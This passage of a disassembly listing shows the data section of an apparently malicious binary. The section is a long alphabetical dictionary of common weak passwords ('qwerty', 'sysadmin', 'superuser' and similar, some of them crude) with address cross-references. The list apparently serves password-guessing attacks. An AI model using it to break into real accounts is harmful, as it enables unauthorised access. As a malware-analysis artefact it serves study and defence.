'warren',0 ; DATA XREF: .data:0042BDACo align 10h aWarp db 'warp',0 ; DATA XREF: .data:0042BDA8o align 4 aWargames db 'wargames',0 ; DATA XREF: .data:0042BDA4o align 4 aWarfare db 'warfare',0 ; DATA XREF: .data:0042BDA0o aWarez db 'warez',0 ; DATA XREF: .data:0042BD9Co align 4 aWard db 'ward',0 ; DATA XREF: .data:0042BD98o align 4 aWaco db 'waco',0 ; DATA XREF: .data:0042BD94o align 4 aVodka db 'vodka',0 ; DATA XREF: .data:0042BD90o align 4 aVisualba db 'visualba',0 ; DATA XREF: .data:0042BD8Co align 4 aVisual db 'visual',0 ; DATA XREF: .data:0042BD88o align 10h aVisitor db 'visitor',0 ; DATA XREF: .data:0042BD84o aVirus db 'virus',0 ; DATA XREF: .data:0042BD80o align 10h aVirginia db 'virginia',0 ; DATA XREF: .data:0042BD7Co align 4 aVirgin db 'virgin',0 ; DATA XREF: .data:0042BD78o align 4 aVillage db 'village',0 ; DATA XREF: .data:0042BD74o aVideogam db 'videogam',0 ; DATA XREF: .data:0042BD70o align 4 aVideo db 'video',0 ; DATA XREF: .data:0042BD6Co align 10h aVictor db 'victor',0 ; DATA XREF: .data:0042BD68o align 4 aVicky db 'vicky',0 ; DATA XREF: .data:0042BD64o align 10h aVertigo db 'vertigo',0 ; DATA XREF: .data:0042BD60o aVeronica db 'veronica',0 ; DATA XREF: .data:0042BD5Co align 4 aVenus db 'venus',0 ; DATA XREF: .data:0042BD58o align 4 aVasant db 'vasant',0 ; DATA XREF: .data:0042BD54o align 4 aVampire db 'vampire',0 ; DATA XREF: .data:0042BD50o aValerie db 'valerie',0 ; DATA XREF: .data:0042BD4Co aVagina db 'vagina',0 ; DATA XREF: .data:0042BD48o align 4 aUucp db 'uucp',0 ; DATA XREF: .data:0042BD44o align 4 aUtility db 'utility',0 ; DATA XREF: .data:0042BD40o aUtil db 'util',0 ; DATA XREF: .data:0042BD3Co align 4 aUsmc db 'usmc',0 ; DATA XREF: .data:0042BD38o align 4 aUsername db 'username',0 ; DATA XREF: .data:0042BD34o align 4 aUsermane db 'usermane',0 ; DATA XREF: .data:0042BD30o align 4 aUsenet db 'usenet',0 ; DATA XREF: .data:0042BD2Co align 4 aUrsula db 'ursula',0 ; DATA XREF: .data:0042BD28o align 4 aUrchin db 'urchin',0 ; DATA XREF: .data:0042BD24o align 4 aUranus db 'uranus',0 ; DATA XREF: .data:0042BD20o align 4 aUpload db 'upload',0 ; DATA XREF: .data:0042BD1Co align 4 aUnlock db 'unlock',0 ; DATA XREF: .data:0042BD18o align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: .data:0042BD14o aUniversi db 'universi',0 ; DATA XREF: .data:0042BD10o align 4 aUniverse db 'universe',0 ; DATA XREF: .data:0042BD0Co align 4 aUniversa db 'universa',0 ; DATA XREF: .data:0042BD08o align 10h aUniform db 'uniform',0 ; DATA XREF: .data:0042BD04o aUnicorn db 'unicorn',0 ; DATA XREF: .data:0042BD00o aUnhappy db 'unhappy',0 ; DATA XREF: .data:0042BCFCo aUndo db 'undo',0 ; DATA XREF: .data:0042BCF8o align 10h aUncle db 'uncle',0 ; DATA XREF: .data:0042BCF4o align 4 aUmesh db 'umesh',0 ; DATA XREF: .data:0042BCF0o align 10h aUgly db 'ugly',0 ; DATA XREF: .data:0042BCECo align 4 aTuttle db 'tuttle',0 ; DATA XREF: .data:0042BCE8o align 10h aTurn db 'turn',0 ; DATA XREF: .data:0042BCE4o align 4 aTuesday db 'tuesday',0 ; DATA XREF: .data:0042BCE0o aTubas db 'tubas',0 ; DATA XREF: .data:0042BCDCo align 4 aTruth db 'truth',0 ; DATA XREF: .data:0042BCD8o align 10h aTrue db 'true',0 ; DATA XREF: .data:0042BCD4o align 4 aTron db 'tron',0 ; DATA XREF: .data:0042BCD0o align 10h aTrombone db 'trombone',0 ; DATA XREF: .data:0042BCCCo align 4 aTrojan db 'trojan',0 ; DATA XREF: .data:0042BCC8o align 4 aTrivial db 'trivial',0 ; DATA XREF: .data:0042BCC4o aTrisha db 'trisha',0 ; DATA XREF: .data:0042BCC0o align 4 aTrek db 'trek',0 ; DATA XREF: .data:0042BCBCo align 4 aTree db 'tree',0 ; DATA XREF: .data:0042BCB8o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: .data:0042BCB4o align 10h aTrap db 'trap',0 ; DATA XREF: .data:0042BCB0o align 4 aTransfer db 'transfer',0 ; DATA XREF: .data:0042BCACo align 4 aTrails db 'trails',0 ; DATA XREF: .data:0042BCA8o align 4 aTracy db 'tracy',0 ; DATA XREF: .data:0042BCA4o align 4 aTracie db 'tracie',0 ; DATA XREF: .data:0042BCA0o align 4 aTraci db 'traci',0 ; DATA XREF: .data:0042BC9Co align 4 aToyota db 'toyota',0 ; DATA XREF: .data:0042BC98o ; .data:0042C5A8o align 4 aToxic db 'toxic',0 ; DATA XREF: .data:0042BC94o align 4 aTortoise db 'tortoise',0 ; DATA XREF: .data:0042BC90o align 10h aTopograp db 'topograp',0 ; DATA XREF: .data:0042BC8Co align 4 aTomato db 'tomato',0 ; DATA XREF: .data:0042BC88o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: .data:0042BC84o align 10h aToken db 'token',0 ; DATA XREF: .data:0042BC80o align 4 aToggle db 'toggle',0 ; DATA XREF: .data:0042BC7Co align 10h aToad db 'toad',0 ; DATA XREF: .data:0042BC78o align 4 aTits db 'tits',0 ; DATA XREF: .data:0042BC74o align 10h aTina db 'tina',0 ; DATA XREF: .data:0042BC70o align 4 aTime db 'time',0 ; DATA XREF: .data:0042BC6Co align 10h aTiger db 'tiger',0 ; DATA XREF: .data:0042BC68o ; .data:0042C59Co align 4 aTiffany db 'tiffany',0 ; DATA XREF: .data:0042BC64o aThursday db 'thursday',0 ; DATA XREF: .data:0042BC60o align 4 aThin db 'thin',0 ; DATA XREF: .data:0042BC5Co align 4 aTheresa db 'theresa',0 ; DATA XREF: .data:0042BC58o aThailand db 'thailand',0 ; DATA XREF: .data:0042BC54o align 4 aText db 'text',0 ; DATA XREF: .data:0042BC50o align 10h aTetris db 'tetris',0 ; DATA XREF: .data:0042BC4Co align 4 aTess db 'tess',0 ; DATA XREF: .data:0042BC48o align 10h aTerminat db 'terminat',0 ; DATA XREF: .data:0042BC44o align 4 aTerminal db 'terminal',0 ; DATA XREF: .data:0042BC40o align 4 aTera db 'tera',0 ; DATA XREF: .data:0042BC3Co align 10h aTennis db 'tennis',0 ; DATA XREF: .data:0042BC38o align 4 aTemptati db 'temptati',0 ; DATA XREF: .data:0042BC34o align 4 aTelnet db 'telnet',0 ; DATA XREF: .data:0042BC30o align 4 aTelephon db 'telephon',0 ; DATA XREF: .data:0042BC2Co align 4 aTeenage db 'teenage',0 ; DATA XREF: .data:0042BC28o aTeen db 'teen',0 ; DATA XREF: .data:0042BC24o align 4 aTech db 'tech',0 ; DATA XREF: .data:0042BC20o align 10h aTears db 'tears',0 ; DATA XREF: .data:0042BC1Co align 4 aTeapot db 'teapot',0 ; DATA XREF: .data:0042BC18o align 10h aTeam db 'team',0 ; DATA XREF: .data:0042BC14o align 4 aTaylor db 'taylor',0 ; DATA XREF: .data:0042BC0Co align 10h aTarragon db 'tarragon',0 ; DATA XREF: .data:0042BC08o align 4 aTarget db 'target',0 ; DATA XREF: .data:0042BC04o align 4 aTara db 'tara',0 ; DATA XREF: .data:0042BC00o align 4 aTape db 'tape',0 ; DATA XREF: .data:0042BBFCo align 4 aTango db 'tango',0 ; DATA XREF: .data:0042BBF8o align 4 aTangerin db 'tangerin',0 ; DATA XREF: .data:0042BBF4o align 4 aTammy db 'tammy',0 ; DATA XREF: .data:0042BBF0o align 10h aTamie db 'tamie',0 ; DATA XREF: .data:0042BBECo align 4 aTami db 'tami',0 ; DATA XREF: .data:0042BBE8o align 10h aTamara db 'tamara',0 ; DATA XREF: .data:0042BBE4o align 4 aTall db 'tall',0 ; DATA XREF: .data:0042BBE0o align 10h aTalk db 'talk',0 ; DATA XREF: .data:0042BBDCo align 4 aTabasco db 'tabasco',0 ; DATA XREF: .data:0042BBD8o aSysop db 'sysop',0 ; DATA XREF: .data:0042BBD4o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: .data:0042BBD0o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .data:0042BBCCo align 10h aSybil db 'sybil',0 ; DATA XREF: .data:0042BBC8o align 4 aSword db 'sword',0 ; DATA XREF: .data:0042BBC4o align 10h aSwitch db 'switch',0 ; DATA XREF: .data:0042BBC0o align 4 aSweat db 'sweat',0 ; DATA XREF: .data:0042BBBCo align 10h aSwearer db 'swearer',0 ; DATA XREF: .data:0042BBB8o aSuzie db 'suzie',0 ; DATA XREF: .data:0042BBB4o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: .data:0042BBB0o aSusie db 'susie',0 ; DATA XREF: .data:0042BBACo align 10h aSusanne db 'susanne',0 ; DATA XREF: .data:0042BBA8o aSusan db 'susan',0 ; DATA XREF: .data:0042BBA4o align 10h aSurfing db 'surfing',0 ; DATA XREF: .data:0042BBA0o aSurfer db 'surfer',0 ; DATA XREF: .data:0042BB9Co align 10h aSupporte db 'supporte',0 ; DATA XREF: .data:0042BB98o align 4 aSupport db 'support',0 ; DATA XREF: .data:0042BB94o aSupervis db 'supervis',0 ; DATA XREF: .data:0042BB90o align 10h aSuperuse db 'superuse',0 ; DATA XREF: .data:0042BB8Co align 4 aSupersta db 'supersta',0 ; DATA XREF: .data:0042BB88o align 4 aSuperson db 'superson',0 ; DATA XREF: .data:0042BB84o align 4 aSuperman db 'superman',0 ; DATA XREF: .data:0042BB80o align 10h aSunday db 'sunday',0 ; DATA XREF: .data:0042BB7Co align 4 aSummer db 'summer',0 ; DATA XREF: .data:0042BB78o align 10h aSucks db 'sucks',0 ; DATA XREF: .data:0042BB74o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: .data:0042BB70o align 4 aSuck db 'suck',0 ; DATA XREF: .data:0042BB6Co align 4 aSuccess db 'success',0 ; DATA XREF: .data:0042BB68o aSubway db 'subway',0 ; DATA XREF: .data:0042BB64o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .data:0042BB60o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: .data:0042BB5Co align 4 aStrip db 'strip',0 ; DATA XREF: .data:0042BB54o align 4 aString db 'string',0 ; DATA XREF: .data:0042BB50o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .data:0042BB4Co align 10h aStratfor db 'stratfor',0 ; DATA XREF: .data:0042BB48o align 4 aStrangle db 'strangle',0 ; DATA XREF: .data:0042BB44o align 4 aStrange db 'strange',0 ; DATA XREF: .data:0042BB40o aStones db 'stones',0 ; DATA XREF: .data:0042BB3Co align 4 aStoned db 'stoned',0 ; DATA XREF: .data:0042BB38o align 10h aStoneage db 'stoneage',0 ; DATA XREF: .data:0042BB34o align 4 aSteve db 'steve',0 ; DATA XREF: .data:0042BB30o align 4 aStereo db 'stereo',0 ; DATA XREF: .data:0042BB2Co align 4 aStephani db 'stephani',0 ; DATA XREF: .data:0042BB28o align 4 aSteph db 'steph',0 ; DATA XREF: .data:0042BB24o align 10h aSteel db 'steel',0 ; DATA XREF: .data:0042BB20o align 4 aSteal db 'steal',0 ; DATA XREF: .data:0042BB1Co align 10h aSteak db 'steak',0 ; DATA XREF: .data:0042BB18o align 4 aStarwars db 'starwars',0 ; DATA XREF: .data:0042BB14o align 4 aStartup db 'startup',0 ; DATA XREF: .data:0042BB10o aStartrek db 'startrek',0 ; DATA XREF: .data:0042BB0Co align 4 aStart db 'start',0 ; DATA XREF: sub_40CC09+1C40o ; .data:0042BB08o align 10h aStarship db 'starship',0 ; DATA XREF: .data:0042BB04o align 4 aStar db 'star',0 ; DATA XREF: .data:0042BB00o align 4 aStacy db 'stacy',0 ; DATA XREF: .data:0042BAFCo align 4 aStacie db 'stacie',0 ; DATA XREF: .data:0042BAF8o align 4 aStaci db 'staci',0 ; DATA XREF: .data:0042BAF4o align 4 aStacey db 'stacey',0 ; DATA XREF: .data:0042BAF0o align 4 aSr71 db 'sr71',0 ; DATA XREF: .data:0042BAECo align 4 aSquires db 'squires',0 ; DATA XREF: .data:0042BAE8o aSpunk db 'spunk',0 ; DATA XREF: .data:0042BAE4o align 4 aSpringer db 'springer',0 ; DATA XREF: .data:0042BAE0o align 4 aSpring db 'spring',0 ; DATA XREF: .data:0042BADCo align 10h aSpred db 'spred',0 ; DATA XREF: .data:0042BAD8o align 4 aSpit db 'spit',0 ; DATA XREF: .data:0042BAD4o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: .data:0042BAD0o align 4 aSpider db 'spider',0 ; DATA XREF: .data:0042BACCo align 4 aSpice db 'spice',0 ; DATA XREF: .data:0042BAC8o align 4 aSpell db 'spell',0 ; DATA XREF: .data:0042BAC4o align 4 aSpear db 'spear',0 ; DATA XREF: .data:0042BAC0o align 4 aSparrows db 'sparrows',0 ; DATA XREF: .data:0042BABCo align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: .data:0042BAB8o align 4 aSouth db 'south',0 ; DATA XREF: .data:0042BAB4o align 4 aSource db 'source',0 ; DATA XREF: .data:0042BAB0o align 4 aSossina db 'sossina',0 ; DATA XREF: .data:0042BAACo aSonya db 'sonya',0 ; DATA XREF: .data:0042BAA8o align 4 aSonic db 'sonic',0 ; DATA XREF: .data:0042BAA4o align 4 aSonia db 'sonia',0 ; DATA XREF: .data:0042BAA0o align 4 aSondra db 'sondra',0 ; DATA XREF: .data:0042BA9Co align 4 aSomebody db 'somebody',0 ; DATA XREF: .data:0042BA98o align 4 aSoftware db 'software',0 ; DATA XREF: .data:0042BA94o align 4 aSoft db 'soft',0 ; DATA XREF: .data:0042BA90o align 4 aSodomy db 'sodomy',0 ; DATA XREF: .data:0042BA8Co align 4 aSocrates db 'socrates',0 ; DATA XREF: .data:0042BA88o align 10h aSocial db 'social',0 ; DATA XREF: .data:0042BA84o align 4 aSoap db 'soap',0 ; DATA XREF: .data:0042BA80o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: .data:0042BA7Co align 4 aSnatch db 'snatch',0 ; DATA XREF: .data:0042BA78o align 10h aSnake db 'snake',0 ; DATA XREF: .data:0042BA74o align 4 aSnafu db 'snafu',0 ; DATA XREF: .data:0042BA70o align 10h aSnach db 'snach',0 ; DATA XREF: .data:0042BA6Co align 4 aSmut db 'smut',0 ; DATA XREF: .data:0042BA68o align 10h aSmtp db 'smtp',0 ; DATA XREF: .data:0042BA64o align 4 aSmother db 'smother',0 ; DATA XREF: .data:0042BA60o aSmooch db 'smooch',0 ; DATA XREF: .data:0042BA5Co align 4 aSmiles db 'smiles',0 ; DATA XREF: .data:0042BA58o align 10h aSmile db 'smile',0 ; DATA XREF: .data:0042BA54o align 4 aSmart db 'smart',0 ; DATA XREF: .data:0042BA50o align 10h aSmall db 'small',0 ; DATA XREF: .data:0042BA4Co align 4 aSlut db 'slut',0 ; DATA XREF: .data:0042BA48o align 10h aSlow db 'slow',0 ; DATA XREF: .data:0042BA44o align 4 aSliders db 'sliders',0 ; DATA XREF: .data:0042BA40o aSlick db 'slick',0 ; DATA XREF: .data:0042BA3Co align 4 aSlave db 'slave',0 ; DATA XREF: .data:0042BA38o align 10h aSkull db 'skull',0 ; DATA XREF: .data:0042BA34o align 4 aSite db 'site',0 ; DATA XREF: .data:0042BA30o align 10h aSingle db 'single',0 ; DATA XREF: .data:0042BA2Co align 4 aSinger db 'singer',0 ; DATA XREF: .data:0042BA28o align 10h aSimulati db 'simulati',0 ; DATA XREF: .data:0042BA24o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .data:0042BA20o align 4 aSimple db 'simple',0 ; DATA XREF: .data:0042BA1Co align 10h aSimon db 'simon',0 ; DATA XREF: .data:0042BA18o align 4 aSimcity db 'simcity',0 ; DATA XREF: .data:0042BA14o aSilver db 'silver',0 ; DATA XREF: .data:0042BA10o align 4 aSignatur db 'signatur',0 ; DATA XREF: .data:0042BA0Co align 4 aSierra db 'sierra',0 ; DATA XREF: .data:0042BA08o align 4 aSick db 'sick',0 ; DATA XREF: .data:0042BA04o align 4 aShuttle db 'shuttle',0 ; DATA XREF: .data:0042BA00o aShort db 'short',0 ; DATA XREF: .data:0042B9FCo align 4 aShivers db 'shivers',0 ; DATA XREF: .data:0042B9F8o aShiva db 'shiva',0 ; DATA XREF: .data:0042B9F4o align 4 aShitpot db 'shitpot',0 ; DATA XREF: .data:0042B9F0o aShit db 'shit',0 ; DATA XREF: .data:0042B9ECo align 4 aShirley db 'shirley',0 ; DATA XREF: .data:0042B9E8o aShift db 'shift',0 ; DATA XREF: .data:0042B9E4o align 4 aSherri db 'sherri',0 ; DATA XREF: .data:0042B9E0o align 4 aShell db 'shell',0 ; DATA XREF: .data:0042B9DCo align 4 aSheldon db 'sheldon',0 ; DATA XREF: .data:0042B9D8o aSheffiel db 'sheffiel',0 ; DATA XREF: .data:0042B9D4o align 4 aSharon db 'sharon',0 ; DATA XREF: .data:0042B9D0o align 10h aSharks db 'sharks',0 ; DATA XREF: .data:0042B9CCo align 4 aShark db 'shark',0 ; DATA XREF: .data:0042B9C8o align 10h aSharc db 'sharc',0 ; DATA XREF: .data:0042B9C4o align 4 aShannon db 'shannon',0 ; DATA XREF: .data:0042B9C0o aSexy db 'sexy',0 ; DATA XREF: .data:0042B9BCo align 4 aSesame db 'sesame',0 ; DATA XREF: .data:0042B9B8o align 10h aService db 'service',0 ; DATA XREF: .data:0042B9B4o ; .data:0042C57Co aSerial db 'serial',0 ; DATA XREF: .data:0042B9B0o align 10h aSerenity db 'serenity',0 ; DATA XREF: .data:0042B9ACo align 4 aSentry db 'sentry',0 ; DATA XREF: .data:0042B9A8o align 4 aSentinel db 'sentinel',0 ; DATA XREF: .data:0042B9A4o align 10h aSensor db 'sensor',0 ; DATA XREF: .data:0042B9A0o align 4 aSega db 'sega',0 ; DATA XREF: .data:0042B99Co align 10h aSeed db 'seed',0 ; DATA XREF: .data:0042B998o align 4 aSecurity db 'security',0 ; DATA XREF: .data:0042B994o align 4 aSearch db 'search',0 ; DATA XREF: .data:0042B990o align 4 aScout db 'scout',0 ; DATA XREF: .data:0042B98Co align 4 aScotty db 'scotty',0 ; DATA XREF: .data:0042B988o align 4 aScott db 'scott',0 ; DATA XREF: .data:0042B984o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .data:0042B980o align 10h aScifi db 'scifi',0 ; DATA XREF: .data:0042B97Co align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .data:0042B978o aSchool db 'school',0 ; DATA XREF: .data:0042B974o align 4 aScheme db 'scheme',0 ; DATA XREF: .data:0042B970o align 4 aScamper db 'scamper',0 ; DATA XREF: .data:0042B96Co aSaxon db 'saxon',0 ; DATA XREF: .data:0042B968o align 4 aSaturn db 'saturn',0 ; DATA XREF: .data:0042B964o align 4 aSaturday db 'saturday',0 ; DATA XREF: .data:0042B960o align 4 aSarah db 'sarah',0 ; DATA XREF: .data:0042B95Co align 10h aSara db 'sara',0 ; DATA XREF: .data:0042B958o align 4 aSandy db 'sandy',0 ; DATA XREF: .data:0042B954o align 10h aSandra db 'sandra',0 ; DATA XREF: .data:0042B950o align 4 aSample db 'sample',0 ; DATA XREF: .data:0042B94Co align 10h aSamantha db 'samantha',0 ; DATA XREF: .data:0042B948o align 4 aSalt db 'salt',0 ; DATA XREF: .data:0042B944o align 4 aSale db 'sale',0 ; DATA XREF: .data:0042B940o align 4 aSalami db 'salami',0 ; DATA XREF: .data:0042B93Co align 4 aSafe db 'safe',0 ; DATA XREF: .data:0042B938o align 4 aRuth db 'ruth',0 ; DATA XREF: .data:0042B934o align 4 aRush db 'rush',0 ; DATA XREF: .data:0042B930o align 4 aRunning_0 db 'running',0 ; DATA XREF: .data:0042B92Co aRules db 'rules',0 ; DATA XREF: .data:0042B928o align 4 aRude db 'rude',0 ; DATA XREF: .data:0042B924o align 4 aRuby db 'ruby',0 ; DATA XREF: .data:0042B920o align 4 aRuben db 'ruben',0 ; DATA XREF: .data:0042B91Co align 4 aRubber db 'rubber',0 ; DATA XREF: .data:0042B918o align 4 aRough db 'rough',0 ; DATA XREF: .data:0042B914o align 4 aRoses db 'roses',0 ; DATA XREF: .data:0042B910o align 4 aRosemary db 'rosemary',0 ; DATA XREF: .data:0042B90Co align 4 aRosebud db 'rosebud',0 ; DATA XREF: .data:0042B908o aRose db 'rose',0 ; DATA XREF: .data:0042B904o align 4 aRonald db 'ronald',0 ; DATA XREF: .data:0042B900o align 10h aRomulan db 'romulan',0 ; DATA XREF: .data:0042B8FCo aRomeo db 'romeo',0 ; DATA XREF: .data:0042B8F8o align 10h aRomano db 'romano',0 ; DATA XREF: .data:0042B8F4o align 4 aRolex db 'rolex',0 ; DATA XREF: .data:0042B8F0o align 10h aRodent db 'rodent',0 ; DATA XREF: .data:0042B8ECo align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: .data:0042B8E8o align 4 aRocky db 'rocky',0 ; DATA XREF: .data:0042B8E4o align 4 aRock db 'rock',0 ; DATA XREF: .data:0042B8E0o align 4 aRocheste db 'rocheste',0 ; DATA XREF: .data:0042B8DCo align 10h aRochelle db 'rochelle',0 ; DATA XREF: .data:0042B8D8o align 4 aRobyn db 'robyn',0 ; DATA XREF: .data:0042B8D4o align 4 aRobotics db 'robotics',0 ; DATA XREF: .data:0042B8D0o align 10h aRobot db 'robot',0 ; DATA XREF: .data:0042B8CCo align 4 aRobin db 'robin',0 ; DATA XREF: .data:0042B8C8o align 10h aRobert db 'robert',0 ; DATA XREF: .data:0042B8C4o align 4 aRoach db 'roach',0 ; DATA XREF: .data:0042B8C0o align 10h aRisc db 'risc',0 ; DATA XREF: .data:0042B8BCo align 4 aRipple db 'ripple',0 ; DATA XREF: .data:0042B8B8o align 10h aRiot db 'riot',0 ; DATA XREF: .data:0042B8B4o align 4 aRing db 'ring',0 ; DATA XREF: .data:0042B8B0o align 10h aRightwin db 'rightwin',0 ; DATA XREF: .data:0042B8ACo align 4 aRight db 'right',0 ; DATA XREF: .data:0042B8A8o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .data:0042B8A4o align 10h aRick db 'rick',0 ; DATA XREF: .data:0042B8A0o align 4 aRich db 'rich',0 ; DATA XREF: .data:0042B89Co align 10h aRhino db 'rhino',0 ; DATA XREF: .data:0042B898o align 4 aReveal db 'reveal',0 ; DATA XREF: .data:0042B894o align 10h aResistan db 'resistan',0 ; DATA XREF: .data:0042B890o align 4 aRepublic db 'republic',0 ; DATA XREF: .data:0042B88Co align 4 aReport db 'report',0 ; DATA XREF: .data:0042B888o align 10h aRent db 'rent',0 ; DATA XREF: .data:0042B884o align 4 aReno db 'reno',0 ; DATA XREF: .data:0042B880o align 10h aRenee db 'renee',0 ; DATA XREF: .data:0042B87Co align 4 aRemote db 'remote',0 ; DATA XREF: .data:0042B878o align 10h aRelease db 'release',0 ; DATA XREF: .data:0042B874o aRegional db 'regional',0 ; DATA XREF: .data:0042B870o align 4 aReferenc db 'referenc',0 ; DATA XREF: .data:0042B86Co align 10h aRedhead db 'redhead',0 ; DATA XREF: .data:0042B868o aReddawn db 'reddawn',0 ; DATA XREF: .data:0042B864o aRecord db 'record',0 ; DATA XREF: .data:0042B860o align 4 aRebel db 'rebel',0 ; DATA XREF: .data:0042B85Co align 10h aRebecca db 'rebecca',0 ; DATA XREF: .data:0042B858o aRebal db 'rebal',0 ; DATA XREF: .data:0042B854o align 10h aReaper db 'reaper',0 ; DATA XREF: .data:0042B850o align 4 aReam db 'ream',0 ; DATA XREF: .data:0042B84Co align 10h aReally db 'really',0 ; DATA XREF: .data:0042B848o align 4 aReality db 'reality',0 ; DATA XREF: .data:0042B844o aReagan db 'reagan',0 ; DATA XREF: .data:0042B840o align 4 aRazor db 'razor',0 ; DATA XREF: .data:0042B83Co align 10h aRascal db 'rascal',0 ; DATA XREF: .data:0042B838o align 4 aRape db 'rape',0 ; DATA XREF: .data:0042B834o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: .data:0042B82Co aRaindrop db 'raindrop',0 ; DATA XREF: .data:0042B828o align 4 aRainbow db 'rainbow',0 ; DATA XREF: .data:0042B824o aRain db 'rain',0 ; DATA XREF: .data:0042B820o align 4 aRaid db 'raid',0 ; DATA XREF: .data:0042B81Co align 4 aRachmani db 'rachmani',0 ; DATA XREF: .data:0042B818o align 4 aRachelle db 'rachelle',0 ; DATA XREF: .data:0042B814o align 4 aRachel db 'rachel',0 ; DATA XREF: .data:0042B810o align 4 aRabbit db 'rabbit',0 ; DATA XREF: .data:0042B80Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0042B808o ; .data:0042C560o align 4 aQwert db 'qwert',0 ; DATA XREF: .data:0042B804o ; .data:0042C55Co align 4 aQuebec db 'quebec',0 ; DATA XREF: .data:0042B800o align 4 aPussy db 'pussy',0 ; DATA XREF: .data:0042B7FCo align 4 aPuppet db 'puppet',0 ; DATA XREF: .data:0042B7F8o align 4 aPunk db 'punk',0 ; DATA XREF: .data:0042B7F4o align 4 aPunisher db 'punisher',0 ; DATA XREF: .data:0042B7F0o align 10h aPuneet db 'puneet',0 ; DATA XREF: .data:0042B7ECo align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: .data:0042B7E8o aPuke db 'puke',0 ; DATA XREF: .data:0042B7E4o align 4 aPuck db 'puck',0 ; DATA XREF: .data:0042B7E0o align 10h aPublic db 'public',0 ; DATA XREF: .data:0042B7DCo align 4 aPsychopa db 'psychopa',0 ; DATA XREF: .data:0042B7D8o align 4 aPsycho db 'psycho',0 ; DATA XREF: .data:0042B7D4o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .data:0042B7D0o align 4 aProtect db 'protect',0 ; DATA XREF: .data:0042B7CCo aPrompt db 'prompt',0 ; DATA XREF: .data:0042B7C8o align 4 aProgram db 'program',0 ; DATA XREF: .data:0042B7C4o aProfile db 'profile',0 ; DATA XREF: .data:0042B7C0o aProfesso db 'professo',0 ; DATA XREF: .data:0042B7BCo align 4 aProcesso db 'processo',0 ; DATA XREF: .data:0042B7B8o align 10h aProceed db 'proceed',0 ; DATA XREF: .data:0042B7B4o aPrivs db 'privs',0 ; DATA XREF: .data:0042B7B0o align 10h aPrivate db 'private',0 ; DATA XREF: .data:0042B7ACo aPriv db 'priv',0 ; DATA XREF: .data:0042B7A8o align 10h aPrinter db 'printer',0 ; DATA XREF: .data:0042B7A4o aPrinceto db 'princeto',0 ; DATA XREF: .data:0042B7A0o align 4 aPrince db 'prince',0 ; DATA XREF: .data:0042B79Co align 4 aPresto db 'presto',0 ; DATA XREF: .data:0042B798o align 4 aPrelude db 'prelude',0 ; DATA XREF: .data:0042B794o aPrecious db 'precious',0 ; DATA XREF: .data:0042B790o align 4 aPraise db 'praise',0 ; DATA XREF: .data:0042B78Co align 10h aPower db 'power',0 ; DATA XREF: .data:0042B788o align 4 aPoster db 'poster',0 ; DATA XREF: .data:0042B784o align 10h aPost db 'post',0 ; DATA XREF: .data:0042B780o align 4 aPorsche db 'porsche',0 ; DATA XREF: .data:0042B77Co aPorno db 'porno',0 ; DATA XREF: .data:0042B778o align 4 aPorn db 'porn',0 ; DATA XREF: .data:0042B774o align 10h aPork db 'pork',0 ; DATA XREF: .data:0042B770o align 4 aPoor db 'poor',0 ; DATA XREF: .data:0042B76Co align 10h aPoop db 'poop',0 ; DATA XREF: .data:0042B768o align 4 aPonderin db 'ponderin',0 ; DATA XREF: .data:0042B764o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .data:0042B760o align 10h aPolly db 'polly',0 ; DATA XREF: .data:0042B75Co align 4 aPolice db 'police',0 ; DATA XREF: .data:0042B758o align 10h aPoetry db 'poetry',0 ; DATA XREF: .data:0042B754o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: .data:0042B750o align 4 aPluto db 'pluto',0 ; DATA XREF: .data:0042B74Co align 4 aPlover db 'plover',0 ; DATA XREF: .data:0042B748o align 4 aPlayboy db 'playboy',0 ; DATA XREF: .data:0042B744o aPlane db 'plane',0 ; DATA XREF: .data:0042B740o align 4 aPizza db 'pizza',0 ; DATA XREF: .data:0042B73Co align 4 aPiss db 'piss',0 ; DATA XREF: .data:0042B738o align 4 aPinname db 'pinname',0 ; DATA XREF: .data:0042B734o aPimp db 'pimp',0 ; DATA XREF: .data:0042B730o align 4 aPierre db 'pierre',0 ; DATA XREF: .data:0042B72Co align 4 aPick db 'pick',0 ; DATA XREF: .data:0042B728o align 4 aPhuck db 'phuck',0 ; DATA XREF: .data:0042B724o align 4 aPhreak db 'phreak',0 ; DATA XREF: .data:0042B720o align 4 aPhrase db 'phrase',0 ; DATA XREF: .data:0042B71Co align 4 aPhrack db 'phrack',0 ; DATA XREF: .data:0042B718o align 4 aPhoton db 'photon',0 ; DATA XREF: .data:0042B714o align 4 aPhone db 'phone',0 ; DATA XREF: .data:0042B710o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .data:0042B70Co aPhilip db 'philip',0 ; DATA XREF: .data:0042B708o align 4 aPhil db 'phil',0 ; DATA XREF: .data:0042B704o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0042B700o align 4 aPete db 'pete',0 ; DATA XREF: .data:0042B6FCo align 4 aPervert db 'pervert',0 ; DATA XREF: .data:0042B6F8o aPersona db 'persona',0 ; DATA XREF: .data:0042B6F4o aPersimmo db 'persimmo',0 ; DATA XREF: .data:0042B6F0o align 4 aPermit db 'permit',0 ; DATA XREF: .data:0042B6ECo align 10h aPerfect db 'perfect',0 ; DATA XREF: .data:0042B6E8o aPercolat db 'percolat',0 ; DATA XREF: .data:0042B6E4o align 4 aPepper db 